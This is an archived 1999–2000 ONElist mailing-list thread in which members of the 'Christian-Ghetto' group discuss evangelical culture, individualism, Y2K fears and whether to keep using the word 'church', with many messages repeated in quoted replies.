approach, such as

   Guns kill people = make guns illegal.
    This never addresses why guns kill people or the people who use the guns to
kill.

   Now the gun is a neutral object, if they are banned, they are still capable of
being used to kill people

   If people became Christians and had a geniune renewal of heart they would no
longer pick up the object (the gun) and harm another human with it. Thus the
problem would be solved.


   I know, overly simplistic- just trying to illustrate.  The modern church has
been in it's glory in social services yet has done little to attack the real
poverty today, which is poverty of the spirit.  There is very little actually
love.  People are viewed as numbers, souls, social problems and many other
things.

   People can live through tremendous odds and terrible things with the hope of
Christ in their heart.

   Pat

I guess i may as well throw my two cents worth of thoughts into this
interesting dialog. This may be more relevent to the earlier stages of this
conversation, but i am reminded of a revelation that came to me clearly at
one point years ago when i was involved in church leadership. As i
struggled within trying to deal with the inconsistencies that i began to
see in church leadership i realized that although we had done a good job of
"being seperate" in the areas of outer conduct, we would never address our
independence. I began to understand that in that respect we were no
different than the world around us. I recall my increasing frustration with
the "bored meetings" where we were always quick to discuss the problems
that someone in the congregation had but were never willing to get down to
nuts and bolts about our own struggles and sins. In a state of constant
denial we presented to ourselves, our fellow leaders, and worst of all to
the "commoners" in our church that we were living holy, sinless lives. It
was an absurdity the way we would often call some hapless person in before
the board to help him deal with his sin problem when we ourselves were so
wretched.
  Having vented i am led to comment on what i see as one of the great
travesties of modern evangelicalism. If a man is given to smoke or drink,
he is a scoundrel. If a woman is divorced or an unwed mother, she is of
questionable character. [ i'm talking about people in the church.] A person
who abstains from all such behavior, but is sucsessful yet ruthless in the
way he conducts his business or his ministry is lauded as a dilligent man
whose behavior can be overlooked because of his devotion to God. The bottom
line i fear is that the former have no real valuable resources to offer the
ministry of the church while the latter will most likely have plenty of
potential from a talent and economic standpoint. Seems as though the
admonishment given to us in the book of James regarding this matter has
been overlooked. IN this respect then, it seems to me that we have been
influenced deeply by the mentality of the world. Like the first tennants on
the planet we have bypassed the tree of life in favor of the tree of the
knowlege of good and evil.
   As much as we would like it to be thus the issues of life are seldom
black and white. Our autonomy versus interdependence as christians is no
different. Moses had his day in the desert tending sheep, but there also
came a time years later when it became nesessary to find men of integtity
to assist him in leadership. I expect that as a believer goes through life
he will be driven at least once to the wilderness of self, for a servant
can be no greater than his master. After the changes that the master
desires have been effected however it is probably preferable to get back to
where the fellows are.

Re: [Christian-Ghetto] New TopicI have to agree with you here,
   >But before all that we have to get past the walls of our relationships with
our brothers and sisters >in Christ. I really think this is the key. If we start
relating to each other as God intended, as the >true body of Christ, then our
relationships with the outer local community will change as well. >Christ said
that they would know we are his disciples because of the love we have for each
>other.


   Even small children can figure out our ulterior motives.  We are so afraid of
losing our holiness or Salvation or what have you, to risk getting to know
people who are not saved.   It doesn't mean that we have to participate in sin. 
You can always decline and people respect you for it if you don't come off
holier-than -thou about it.

   My church is good to open up the building to some outside activites (such as a
food cooperative that I run) that have no connection to luring folks in.   We
like to be availiable yet not pushy.  I know some churches have been very
successful with home bible studies.

   Anyhow, I'm sleepy and need to rest up for church in the morning.  You all
have a blessed Sunday.

   Pat

I have to respond to this too before I hit the hey.

I was thinking the same thing when I read Brians response. I think the
individualism that is good is the American idea of thinking for ourselves
and the ability to do what needs to be done even when there is no one else
to help. But that can easily translate over into pride thinking "we did it
ourselves" when it was God who gave us the strength and the understanding.
We do this in a spiritual sense too and that's what I think Pat is talking
about. It's easy to focus in on just me and God and miss the big picture of
what he wants to do through us as a body.

----------
From: "Pat Spelling" <pat@...>
To: <Christian-Ghetto@onelist.com>
Subject: Re: [Christian-Ghetto] New Topic
Date: Sat, Jan 15, 2000, 10:49 PM


From: "Pat Spelling" <pat@...>

Oh, I'm not knocking individualism in general.  I just think that we get so
wrapped up in the little picture that we miss God's big picture.  I do think
God expects Christians to think and draw their own conclusions, not just
follow a blind lead or do what the crowd says.

But I do think "me ism" is often mistaken for "individualism".   It was
hardy individualistic people who made our country but they would stop and
help someone else along the way.  They could think for themselves and be
free to act from those thoughts.  Too many people refuse to reason. They
just swallow things and then when it disapoints them, they leave the church.

On a personal basis, I have had to work on my attention span.  Our minister
preaches meat, not milk and does a very good job.  Sometimes he speaks a
long time though and I'm spoiled and used to commercials.  It is self
discipline to attend to the task at hand.  "Me ism" would tell me that I
need to go to another church that has shorter sermons or more entertainment.
We can think of a million reasons not to get out of bed on Sunday morning,
yet we do, knowing that it pleases God and that we are needed in the Body of
Christ.  And usually we get something back.

Pat
----------------------------------------------------------------------------


Please click above to support our sponsor
----------------------------------------------------------------------------

Community email addresses:
   Post message: christianghetto@onelist.com
   Subscribe:    christianghetto-subscribe@onelist.com
   Unsubscribe:  christianghetto-unsubscribe@onelist.com
   List owner:   christianghetto-owner@onelist.com

Shortcut URL to this page:
   http://www.onelist.com/community/christianghetto

Ya, it would certainly be easy to grab a vision of saving the world with the
Internet and running with it. Many people have tried it with TV.
Unfortunately such visions are often big in scope but short on creativity.
Again, this gets back to the Christian bookstore, or the Christian Network
or Christian whatever that Brian spoke of. We have to start seeing the
bigger picture.

I think that what is more important then a "big vision" of reaching the
world is understanding what it takes to really penetrate our immediate or
local community. With the Internet that means more then it used to because
you can have an online community of sorts. Yet online relationships can only
go so far.

I think the only thing that can radically change our culture is if local
Christian communities start interacting in the lives of those who share
there living space. I know the "church" that my wife and I have been
attending has tried a lot of programs. You know, like distributing "The
Jesus Video" going door to door and asking people to come to a special
service, etc. They then sit back when there is no response and say "well, we
did what we could, I guess people just don't want to receive."

Well there is a lot of reasons why people don't want to receive, but the
bottom line is that they don't really know you and they have their
suspicions of "religious" people. You have to get to know people if you are
going to influence their lives effectively. How do we do that? By working
with them, by hanging out with them in the places they hang out. But you
cant do those things with the ulterior motive of converting them. It has to
be done spontaneously and naturally. That's pretty hard to do when we spend
so much time in our inner circle of Christian friends and "churches." We
build religious walls around ourselves and than expect people to come on
over and join our little inside group just because we superficially invite
them. It's going to take a lot more than that. The question is: do we really
want to pay the price necessary to break down the walls?

But before all that we have to get past the walls of our relationships with
our brothers and sisters in Christ. I really think this is the key. If we
start relating to each other as God intended, as the true body of Christ,
then our relationships with the outer local community will change as well.
Christ said that they would know we are his disciples because of the love we
have for each other.

  Boy, I didn't mean to babel on for so long. All well, I better get to bed.

Roy
----------
From: "Pat Spelling" <pat@...>
To: <Christian-Ghetto@onelist.com>
Subject: Re: [Christian-Ghetto] New Topic
Date: Sat, Jan 15, 2000, 8:00 PM


From: "Pat Spelling" <pat@...>

Well, depending on your age and the span of time you've been a Christian,
you might remember that first it was believed that radio would spread the
gospel around the world, then Television was sure to do that.  Now, I feel
that the Internet has much more power to do so but only if left alone.

In the event that regulations and monitoring is applied to the information
on the Internet, then the pure Gospel doesn't stand a chance.  Christian
programming (OK, I don't believe that 99% of religious programming is any
more than an infommercial, but in theory here) is blocked from countries
such as Saudia Arabia because Television is such a public medium.  The
Internet can be very intimate and information can cross many boundries into
the privacy of the home.

Of course, that is assuming that everyone gets internet access.   Most of
Africa didn't sweat Y2K at all.

It is so easy to blame the deterioration of Biblical principals on exterior
conditions or Satan.   Satan may be a power to contend with but ultimately
it is a copout to blame human selfishness and weakness on him.

Pat
----------------------------------------------------------------------------


Please click above to support our sponsor
----------------------------------------------------------------------------

Community email addresses:
   Post message: christianghetto@onelist.com
   Subscribe:    christianghetto-subscribe@onelist.com
   Unsubscribe:  christianghetto-unsubscribe@onelist.com
   List owner:   christianghetto-owner@onelist.com

Shortcut URL to this page:
   http://www.onelist.com/community/christianghetto

Oh, I'm not knocking individualism in general.  I just think that we get so
wrapped up in the little picture that we miss God's big picture.  I do think God
expects Christians to think and draw their own conclusions, not just follow a
blind lead or do what the crowd says.

But I do think "me ism" is often mistaken for "individualism".   It was hardy
individualistic people who made our country but they would stop and help someone
else along the way.  They could think for themselves and be free to act from
those thoughts.  Too many people refuse to reason. They just swallow things and
then when it disapoints them, they leave the church.

On a personal basis, I have had to work on my attention span.  Our minister
preaches meat, not milk and does a very good job.  Sometimes he speaks a long
time though and I'm spoiled and used to commercials.  It is self discipline to
attend to the task at hand.  "Me ism" would tell me that I need to go to another
church that has shorter sermons or more entertainment.
We can think of a million reasons not to get out of bed on Sunday morning, yet
we do, knowing that it pleases God and that we are needed in the Body of Christ.
And usually we get something back.

Pat

I think I will need some further clarification about that first paragraph,
but Christianity is necessarily a specific (individual) belief system
because it is one repentant sinner and one sovereign God.  The individuality
that has shaped America has done us well.  Granted, it is taken to extremes
at times by believers and non-believers, but I think of it as inherently
useful to our democratic system.  It doesn't fit well into our submission to
the Lord and our walk with him, but that is mixing two different things.
Much as a manager at a job needs the resilience and authority to be able to
let an employee go, that same person doesn't need those traits when they go
home at night and deal with their spouse and children.  Those emotions and
traits are useful in their place and under our devotion to Him.
     -----Original Message-----
     From: Pat Spelling [mailto:pat@...]
     Sent: Saturday, January 15, 2000 3:40 PM
     To: Christian-Ghetto@onelist.com
     Subject: Re: [Christian-Ghetto] New Topic


     From: "Pat Spelling" <pat@...>


     I think much of the problem with modern thought and Christianity
actually was a result of the individuality that we Americans hold so dearly.
We forgot to look at the whole and concentrated on the individual to the
extent that we lost the vision entirely.

     When so called "scientific proposals" came out, the church either
outright denied them without teaching why or they bent scripture to blend
with the current thought.  The problem with that is that, current thought is
continually changing.

     Now our culture is so used to doing as they please that they expect a
church to fullfill their needs instead of expecting to bring something to
the church to fullfill God's requirements or needs.

     When we get so caught up in ourselves or our personal Holiness that we
are no use to our brothers and sisters in Christ, we have missed the
proverbal boat.

     The modern church has substituted band aid ministries instead of
addressing the root of the problem of societies ills.  We've encouraged
members to feel safe if they attend but never compell them to grow roots
within the faith.   If all Church buildings were closed, how many people
would really come together and worship?  How many would still count
themselves Christian?

     So much of my ramblings. a bit much for someone new to the list.
     Pat

Well, depending on your age and the span of time you've been a Christian, you
might remember that first it was believed that radio would spread the gospel
around the world, then Television was sure to do that.  Now, I feel that the
Internet has much more power to do so but only if left alone.

In the event that regulations and monitoring is applied to the information on
the Internet, then the pure Gospel doesn't stand a chance.  Christian
programming (OK, I don't believe that 99% of religious programming is any more
than an infommercial, but in theory here) is blocked from countries such as
Saudia Arabia because Television is such a public medium.  The Internet can be
very intimate and information can cross many boundries into the privacy of the
home.

Of course, that is assuming that everyone gets internet access.   Most of Africa
didn't sweat Y2K at all.

It is so easy to blame the deterioration of Biblical principals on exterior
conditions or Satan.   Satan may be a power to contend with but ultimately it is
a copout to blame human selfishness and weakness on him.

Pat

I just came online to post an update to my article on GEL "Much Afraid of
TV, the Internet, and Y2K" when I saw your post Brian. It fits well with
what you are talking about. I'll just paste in a bit of it that makes the
point.

*******
   Why then has God allowed us to have this technology? [the Internet] So
that we can destroy ourselves? Implode into a small ugly heap of selfish,
degraded humanity? Many Christians of course believe this. Having been told
countless times that it is technology that will bring on the mark of the
beast and the control of the masses by a one world government. Throw into
this mix something like Y2K and you had the perfect apocalyptic scenario. It
was actually a bit humourous to see how disappointed some were when January
1, 2000 rolled over and nothing happened. Will they learn a lesson from
this? Some might, but most will continue focusing on preparing (in a
physical sense) for the end rather then seeking God on how they can effect
their world in the here and know. This sad reality is illustrated by the
fact that an ³end times² series of apocalyptic hyped up fiction is enjoying
some of the best ³Christian² book sales ever seen.

To put this into perspective I would like to present a profound statement
made by Steve Hewitt of Christian Computing Magazine. Please note that this
was written before January 1st 2000, and  reflects how those who did real
thoughtful research understood that Y2K was nothing to be alarmed about.
Unfortunately his voice of reason was drowned out by the numerous and better
funded screams of fear and alarm:

"With more Christians dying this past year for their faith than possibly
ever in our history, we do not get excited. With persecution increasing
around the world, we do nothing. With the percent of the lost growing each
year in our nation, and millions starving around the world, nothing got us
more excited than Y2K. Why? Because it threatened our comfort, our pocket
books.

As we continue to see more and more just how overblown the entire event was,
and evaluate the sensational, exaggerated reaction we had, the issue must
not end there. We need to seriously ask ourselves: what does Y2K tell us
about the spiritual state of Christianity in America? Moreover, what does it
say about our personal walk with Christ?"


  Clearly it speaks of the fact that we are being driven by fear rather than
faith, by emotions rather than reason.

Could it be that instead of fearing technology God intended us to take
control of it, to exploit it's power to influence the masses toward getting
their heads out of the fantasy world and into the ultimate truth and reality
of the Creator? I had hoped that when Y2K passed and the technology remained
that it would provide an open window to challenge Christians to get beyond
their fears. Yet I see little change in most of those who carried the
Y2K/end times banner. I find myself asking in a cynical way: what will be
the next big end time crises? We must believe that faith will eventually win
out and we will not be so easily distracted from our purpose of presenting
the Gospel to a hurting world. Meanwhile we can be thankful for God's great
mercy in putting up with our foolishness.

  If you want to read the whole article heres the address:
http://kbprobooks.com/gel/amuchafraid.html
*******

When you talk about Noll's thesis that "American Christians have pandered to
culture and Fundamentalism and not engaged it with the mind of Christ"
nothing illustrates this truth more then the whole Y2K thing and how
Christians responded to it. Clearly if we possessed the mind of Christ we
wouldn't have been running around shouting "the worlds coming to an end" we
would have known better. Now, most of the world is laughing at us and
rightfully so. If we continually react in fear to any little crises that
arises how can we expect to have any impact on our culture. A vibrant faith
rooted in reason and dependent on the guidance of God's spirit rather than
on the whims of alarmists and reactionaries will help pull us out of the
ghetto.

Roy

PS Just got your message Pat. Some very good points to ponder!
No worry, we are all "new to the List."

----------
>From: "Brian" <cabrian@...>
>To: <Christian-Ghetto@onelist.com>
>Subject: [Christian-Ghetto] New Topic
>Date: Sat, Jan 15, 2000, 12:58 PM
>

> From: "Brian" <cabrian@...>
>
> I've been quite busy of late as well, but wanted to pose a new topic to the
> list: how did this ghetto that we speak of come about?  I'd like to pose
> that Mark Noll was correct in his Scandal of the Evangelical Mind, that
> American Christians have pandered to culture and Fundamentalism and not
> engaged it with the mind of Christ.  This is such a far flung thesis that I
> will try not to paint with a broad brush, but it reaches to the farthest
> ends of the faith; from scholarship at Christian universities, to the arts,
> to the basic ways that we lives our lives and interact.
>
> I come from a background of mild Manichaeism - where people are starkly
> divided between "children of the light and children of the darkness" - and
> can see the error in this as an adult.  But this heritage takes the mind and
> binds it with ropes of ignorance and causes its adherents to think that
> owning Christian-only bookstores is a great thing, or starting an
> evangelical newspaper that caters to a small audience.  I'm not against
> those things, per se, but not at the exclusion of engaging this culture and
> this world with the mind and talents God endowed us with.  Francis Schaeffer
> was fond of saying "An honest question deserves an honest answer" and I
> wonder if that was not what the Bible is talking about when it says "to whom
> much is given, much will be required."  I don't know about the rest of the
> List members, but that Scripture has been overwhelmingly applied to monetary
> issues in teachings I've had, but could easily be used as a challenge to
> those that believe in Christ.
>
> I'll stop here and wait for any thoughts.
>
>
> --------------------------- ONElist Sponsor ----------------------------
>
> Get great offers on top-notch products that match your interests!
> Sign up for eLerts at:
> <a href=" http://clickme.onelist.com/ad/elerts1 ">Click Here</a>
>
> ------------------------------------------------------------------------
>
> Community email addresses:
>   Post message: christianghetto@onelist.com
>   Subscribe:    christianghetto-subscribe@onelist.com
>   Unsubscribe:  christianghetto-unsubscribe@onelist.com
>   List owner:   christianghetto-owner@onelist.com
>
> Shortcut URL to this page:
>   http://www.onelist.com/community/christianghetto
>
>

I think much of the problem with modern thought and Christianity actually was a
result of the individuality that we Americans hold so dearly.  We forgot to look
at the whole and concentrated on the individual to the extent that we lost the
vision entirely.

When so called "scientific proposals" came out, the church either outright
denied them without teaching why or they bent scripture to blend with the
current thought.  The problem with that is that, current thought is continually
changing.

Now our culture is so used to doing as they please that they expect a church to
fullfill their needs instead of expecting to bring something to the church to
fullfill God's requirements or needs.

When we get so caught up in ourselves or our personal Holiness that we are no
use to our brothers and sisters in Christ, we have missed the proverbal boat.

The modern church has substituted band aid ministries instead of addressing the
root of the problem of societies ills.  We've encouraged members to feel safe if
they attend but never compell them to grow roots within the faith.   If all
Church buildings were closed, how many people would really come together and
worship?  How many would still count themselves Christian?

So much of my ramblings. a bit much for someone new to the list.
Pat

I've been quite busy of late as well, but wanted to pose a new topic to the
list: how did this ghetto that we speak of come about?  I'd like to pose
that Mark Noll was correct in his Scandal of the Evangelical Mind, that
American Christians have pandered to culture and Fundamentalism and not
engaged it with the mind of Christ.  This is such a far flung thesis that I
will try not to paint with a broad brush, but it reaches to the farthest
ends of the faith; from scholarship at Christian universities, to the arts,
to the basic ways that we lives our lives and interact.

I come from a background of mild Manichaeism - where people are starkly
divided between "children of the light and children of the darkness" - and
can see the error in this as an adult.  But this heritage takes the mind and
binds it with ropes of ignorance and causes its adherents to think that
owning Christian-only bookstores is a great thing, or starting an
evangelical newspaper that caters to a small audience.  I'm not against
those things, per se, but not at the exclusion of engaging this culture and
this world with the mind and talents God endowed us with.  Francis Schaeffer
was fond of saying "An honest question deserves an honest answer" and I
wonder if that was not what the Bible is talking about when it says "to whom
much is given, much will be required."  I don't know about the rest of the
List members, but that Scripture has been overwhelmingly applied to monetary
issues in teachings I've had, but could easily be used as a challenge to
those that believe in Christ.

I'll stop here and wait for any thoughts.

I have been real busy lately and haven't had a chance to contribute much
here. If anyone has anything they would like to bring into the discussion
please feel free.

Roy

I think both sides of this conversation are correct in there own way. Just
changing the word will not change hearts, which is the real bottom line
issue. Yet ignoring the fact that it is a bad translation and brings with it
many negative preconceptions is equally misguided.

Perhaps we should bring it up only when we discern that those we are
speaking to are ready to receive it. Otherwise we may be better off avoiding
the issue in lou of some area they are more open to.

----------
>From: Jim Berge <bergewelding@...>
>To: Christian-Ghetto@onelist.com
>Subject: [Christian-Ghetto] Playing Catch-Up
>Date: Sat, Jan 1, 2000, 2:04 AM
>

> From: Jim Berge <bergewelding@...>
>
> My earlier message didn't come through.  Basically, it was to state that
> Brian had some good points.  However, the word "church" has come to take
> on a religious meaning that obviously God didn't intend.  If He
> specifically chose a word which had a "secular" understanding, when
> there were other religious words to be used, per Roy's original
> attachment, there must have been a reason.  I guess my point is that
> there ought to be no difference between a bunch of guys gathering on
> Saturday morning to go fishing and a bunch of Christians meeting
> together.  Both groups have an interest in a similar activity, both
> groups identify with others in the group, and they share in something
> they all enjoy and believe in.
>
> If we claim that "church" is where we go to worship, then we imply that
> that's the only place we worship, even though I believe there is just as
> much worship in tickling my nephews or in watching a sunset.  If we are
> simply an "assembly", the whole concept of Christians getting together
> might become more meaningful or relevant to those who know that "church"
> isn't for them.  Truth is, the way "church" is done nowadays, it isn't
> for any of us.  Yes, I'm making a generalization, but I think you all
> know what I mean.
>
> If I invite a non-Christian friend to "church," his mind is immediately
> filled with pre-conceived notions.  Whether these notions are realistic
> or not is immaterial.  But if I invite him over for coffee, and tell him
> some friends are going to be there to discuss the bible and its meaning
> for us today, he may be more open to the whole idea.  This, to him, is
> not "church," and it's not threatening.
>
> Okay, maybe we put too much importance on the use of a particular word.
> But what if we just stopped using the word "church" completely?  Would
> it more likely to have a positive impact on the unsaved or a negative
> impact?  My vote is for the former...

My earlier message didn't come through.  Basically, it was to state that
Brian had some good points.  However, the word "church" has come to take
on a religious meaning that obviously God didn't intend.  If He
specifically chose a word which had a "secular" understanding, when
there were other religious words to be used, per Roy's original
attachment, there must have been a reason.  I guess my point is that
there ought to be no difference between a bunch of guys gathering on
Saturday morning to go fishing and a bunch of Christians meeting
together.  Both groups have an interest in a similar activity, both
groups identify with others in the group, and they share in something
they all enjoy and believe in.

If we claim that "church" is where we go to worship, then we imply that
that's the only place we worship, even though I believe there is just as
much worship in tickling my nephews or in watching a sunset.  If we are
simply an "assembly", the whole concept of Christians getting together
might become more meaningful or relevant to those who know that "church"
isn't for them.  Truth is, the way "church" is done nowadays, it isn't
for any of us.  Yes, I'm making a generalization, but I think you all
know what I mean.

If I invite a non-Christian friend to "church," his mind is immediately
filled with pre-conceived notions.  Whether these notions are realistic
or not is immaterial.  But if I invite him over for coffee, and tell him
some friends are going to be there to discuss the bible and its meaning
for us today, he may be more open to the whole idea.  This, to him, is
not "church," and it's not threatening.

Okay, maybe we put too much importance on the use of a particular word.
But what if we just stopped using the word "church" completely?  Would
it more likely to have a positive impact on the unsaved or a negative
impact?  My vote is for the former...

I once debated a King James Only scholar with a Phd. or two who insisted
that the word "minister" and "servant" were synonymous. Technically, of
course, he was absolutely right. Unfortunately the debate got cut off before
I had the chance to challenge him with this:

If you go ask the average man on the street what the difference between a
"minister" and a "servant" is he will give you a very precise and clear
answer. In other words, technical meaning is secondary to common perception.
Webster understood the intended meaning of the word church, (or at least
what the original Creek word meant) he too was a scholar. The real question
is: how does the average person perceive the word, and how is it used in
everyday practice.

It may actually be good Brian that you don't have a scholarly background on
the subject. Sometimes scholarship can blind us from the common sense
perspective.

I agree with you that hearts must change first. I know mine did before I
understood the significance of it all. This is truly the key. I think once
enough hearts are changed cultural terms and definitions will also change to
align more closely to the truth. Your right though, at this point few people
care about the issue. Change has to start somewhere however, and I hope I am
no longer a part of the problem. That is why I have personally chosen to try
and stop misusing the word.

Funny you should bring up the word "gay." I was thinking of using the same
example only from a different perspective. The reason homosexuals began to
use the word was all part of the plan to help usher in the cultural
acceptance of their lifestyle. In the same way the King James scholars used
a particular word they knew would help to create a particular perception
within their culture, one that would favor an institutionalized view of
Christianity. I don't know if they intentionally did this or if their own
perceptions were equally misguided. Yet the result has been a great amount
of confusion and distortion of the truth.

My wife just told me she agreed with your way of looking at it more than she
does mine. She thinks everything I said is too technical and no one will
ever care about the issue. Excuse me while I go pound my head against the
wall for a while. uggumph

Okay, I feel much better know. :-)

----------
>From: "Brian" <cabrian@...>
>To: <Christian-Ghetto@onelist.com>
>Subject: [Christian-Ghetto] Re: Church
>Date: Wed, Dec 29, 1999, 11:28 PM
>

> From: "Brian" <cabrian@...>
>
> I see what you are saying and I agree that the word "church" has layered
> meanings at this point in history.  I must say that I have interest in this
> subject, but don't have a scholarly background of research with the issue,
> and feel incompetent to comment on it.  That being said, I think you are
> overstating the importance of this particular word.  After all, Webster
> defines church as "a body or organization or religious believers: as a: the
> whole body of Christians, b: congregation."  Your point about the bad
> translation is valid, but the difficulty that I'm sure you've encountered is
> getting anyone to care.  Many Christians do want to transcend the buildings
> and politics and get back to a core fellowship, but many more do not care to
> rock the boat at all.
>
> I guess I don't see this as a devolution, just a change, and not one that is
> hurtful unless outside of its meaning.  Much in the way that we use the word
> "gay" as a synonym for homosexual.  For reasons of brevity or tautology, I
> use gay at times, but never does it cross-translate in my head to mean a
> happy person, it is always to mean a homosexual.  Removing the
> institutionalized preconceptions I'm all for, but removing the word church
> from our collective vernacular is not the way to go, in my opinion.
> Changing hearts by being honest followers of the Gospel of Christ is a more
> important, and difficult task.  Thank you for bringing this up, because the
> destruction of language in our culture is a subject that is near to my
> heart.
>
> ~Brian
> The hottest places in hell are reserved for those who, in a time of moral
> crisis, maintain their neutrality.  -Dante

I see what you are saying and I agree that the word "church" has layered
meanings at this point in history.  I must say that I have interest in this
subject, but don't have a scholarly background of research with the issue,
and feel incompetent to comment on it.  That being said, I think you are
overstating the importance of this particular word.  After all, Webster
defines church as "a body or organization or religious believers: as a: the
whole body of Christians, b: congregation."  Your point about the bad
translation is valid, but the difficulty that I'm sure you've encountered is
getting anyone to care.  Many Christians do want to transcend the buildings
and politics and get back to a core fellowship, but many more do not care to
rock the boat at all.

I guess I don't see this as a devolution, just a change, and not one that is
hurtful unless outside of its meaning.  Much in the way that we use the word
"gay" as a synonym for homosexual.  For reasons of brevity or tautology, I
use gay at times, but never does it cross-translate in my head to mean a
happy person, it is always to mean a homosexual.  Removing the
institutionalized preconceptions I'm all for, but removing the word church
from our collective vernacular is not the way to go, in my opinion.
Changing hearts by being honest followers of the Gospel of Christ is a more
important, and difficult task.  Thank you for bringing this up, because the
destruction of language in our culture is a subject that is near to my
heart.

~Brian
The hottest places in hell are reserved for those who, in a time of moral
crisis, maintain their neutrality.  -Dante


> -----Original Message-----
> From: Roy Hershberger [mailto:hersh@...]
> Sent: Wednesday, December 29, 1999 12:19 AM
> To: Christian-Ghetto@onelist.com
> Subject: Re: [Christian-Ghetto] RE: Welcome!
>
>
> From: "Roy Hershberger" <hersh@...>
>
> Brian, Some very excellent points. The major problem is that "church" is
> used in every major translation of scripture. If one goes around attacking
> the "Bible" in such a manner he can expect not to get very far. A more
> subtle back door approach would probably be more effective for most
> Christians at this point in history. Like I stated, this is coming against
> some major roadblocks in peoples thought processes.
>
> I just know in my own experience that coming to the understanding that
> "church" was a bad translation really cleared up a lot of confusion and
> the
> big picture of the humanistically inspired institutionalization of the
> body
> came more into focus. But then I was asking the questions in the first
> place. If I hadn't been asking those questions I would have probably
> dismissed any reference to "church" being a bad translation as the ravings
> of some irrelevant lunatic. Yet, maybe making the "bad translation" case
> could be a good way to shake things up and get people to start asking the
> questions they need to be asking?
>
> But I don't think that our constant use of the word is an evolution. I
> would
> say it's more of a devolution. I don't really see any benefits in using
> it,
> but I do see a lot of negatives. I think it is vital that we remove the
> institutionalized preconceptions that surround a group of believers.
> "Church" is irrepressibly bound to an institutionalized view. Can we
> really
> hope to reform Christianity without addressing this?
>
> Roy
>
> ----------
> >From: "Brian" <cabrian@...>
> >To: <Christian-Ghetto@onelist.com>
> >Subject: [Christian-Ghetto] RE: Welcome!
> >Date: Tue, Dec 28, 1999, 3:27 PM
> >
>
> > From: "Brian" <cabrian@...>
> >
> > Roy, I would have to answer your question with a few rhetorical ones of
> my
> > own: is it a destruction of the language or a mere evolution of it that
> we
> > use the word church?  I've been involved in several debates over the
> > Shakespearean authorship question and language is of the utmost
> importance
> > when delving into that subject.  Many of the scholars, on both sides,
> are
> > university trained linguists, but draw disparate conclusions.  The
> > etymological lines are easily drawn, but I find it is easier to work on
> > meaning and peoples' concept of the body of believers, instead of
> changing
> > exactly what word they use.  When people offhandedly call C.S. Lewis an
> > evangelical, when he was an Anglican and not close to evangelicalism as
> we
> > know it, I usually stay quiet on that point and listen to the larger
> context
> > of their comment, assuming there is a context.  : )
> >
> > Most recently I finished Frank Peretti's new book, The Visitation, where
> he
> > delves into the charismatic movement and its abuses.  It dredged up some
> > memories of my own past in churches and the way he reveals the subtle
> power
> > plays and spiritually devoid religiosity is an achievement.  It also
> brings
> > to mind this question, can we have fellowship with non-believers?
> >
> > ~Brian
> > The hottest places in hell are reserved for those who, in a time of
> moral
> > crisis, maintain their neutrality.  -Dante
>
> > Community email addresses:
>   Post message: christianghetto@onelist.com
>   Subscribe:    christianghetto-subscribe@onelist.com
>   Unsubscribe:  christianghetto-unsubscribe@onelist.com
>   List owner:   christianghetto-owner@onelist.com
>
> Shortcut URL to this page:
>   http://www.onelist.com/community/christianghetto

Brian, Some very excellent points. The major problem is that "church" is
used in every major translation of scripture. If one goes around attacking
the "Bible" in such a manner he can expect not to get very far. A more
subtle back door approach would probably be more effective for most
Christians at this point in history. Like I stated, this is coming against
some major roadblocks in peoples thought processes.

I just know in my own experience that coming to the understanding that
"church" was a bad translation really cleared up a lot of confusion and the
big picture of the humanistically inspired institutionalization of the body
came more into focus. But then I was asking the questions in the first
place. If I hadn't been asking those questions I would have probably
dismissed any reference to "church" being a bad translation as the ravings
of some irrelevant lunatic. Yet, maybe making the "bad translation" case
could be a good way to shake things up and get people to start asking the
questions they need to be asking?

But I don't think that our constant use of the word is an evolution. I would
say it's more of a devolution. I don't really see any benefits in using it,
but I do see a lot of negatives. I think it is vital that we remove the
institutionalized preconceptions that surround a group of believers.
"Church" is irrepressibly bound to an institutionalized view. Can we really
hope to reform Christianity without addressing this?

Roy

----------
>From: "Brian" <cabrian@...>
>To: <Christian-Ghetto@onelist.com>
>Subject: [Christian-Ghetto] RE: Welcome!
>Date: Tue, Dec 28, 1999, 3:27 PM
>

> From: "Brian" <cabrian@...>
>
> Roy, I would have to answer your question with a few rhetorical ones of my
> own: is it a destruction of the language or a mere evolution of it that we
> use the word church?  I've been involved in several debates over the
> Shakespearean authorship question and language is of the utmost importance
> when delving into that subject.  Many of the scholars, on both sides, are
> university trained linguists, but draw disparate conclusions.  The
> etymological lines are easily drawn, but I find it is easier to work on
> meaning and peoples' concept of the body of believers, instead of changing
> exactly what word they use.  When people offhandedly call C.S. Lewis an
> evangelical, when he was an Anglican and not close to evangelicalism as we
> know it, I usually stay quiet on that point and listen to the larger context
> of their comment, assuming there is a context.  : )
>
> Most recently I finished Frank Peretti's new book, The Visitation, where he
> delves into the charismatic movement and its abuses.  It dredged up some
> memories of my own past in churches and the way he reveals the subtle power
> plays and spiritually devoid religiosity is an achievement.  It also brings
> to mind this question, can we have fellowship with non-believers?
>
> ~Brian
> The hottest places in hell are reserved for those who, in a time of moral
> crisis, maintain their neutrality.  -Dante

Roy, I would have to answer your question with a few rhetorical ones of my
own: is it a destruction of the language or a mere evolution of it that we
use the word church?  I've been involved in several debates over the
Shakespearean authorship question and language is of the utmost importance
when delving into that subject.  Many of the scholars, on both sides, are
university trained linguists, but draw disparate conclusions.  The
etymological lines are easily drawn, but I find it is easier to work on
meaning and peoples' concept of the body of believers, instead of changing
exactly what word they use.  When people offhandedly call C.S. Lewis an
evangelical, when he was an Anglican and not close to evangelicalism as we
know it, I usually stay quiet on that point and listen to the larger context
of their comment, assuming there is a context.  : )

Most recently I finished Frank Peretti's new book, The Visitation, where he
delves into the charismatic movement and its abuses.  It dredged up some
memories of my own past in churches and the way he reveals the subtle power
plays and spiritually devoid religiosity is an achievement.  It also brings
to mind this question, can we have fellowship with non-believers?

~Brian
The hottest places in hell are reserved for those who, in a time of moral
crisis, maintain their neutrality.  -Dante


-----Original Message-----
From: Roy Hershberger [mailto:hersh@...]
Sent: Tuesday, December 28, 1999 12:44 AM
To: T Masters; Brian Gross; Rodney Lain; Christian-Ghetto@onelist.com;
Kirby Hopper; Jim Berge
Subject: Welcome!


First of all I want to thank all of you who have signed up to participate in
this discussion and to say welcome. I trust that this will be a time of
growth for all those who take part.

I would like to start things rolling with a brief testimony of how and why I
decided to start the Christian Ghetto discussion list.

I've been a Christian all my life and have been involved in various
"churches" of all stripes and denominations. But even at a young age I was
made aware of the fact that there were things missing in the religious
structure around me. Maybe even more troubling was the fact that there
seemed to be a lot of things added on to this "structure" that seemed to
distract from the fundamental reality of being a part of the body of Christ.

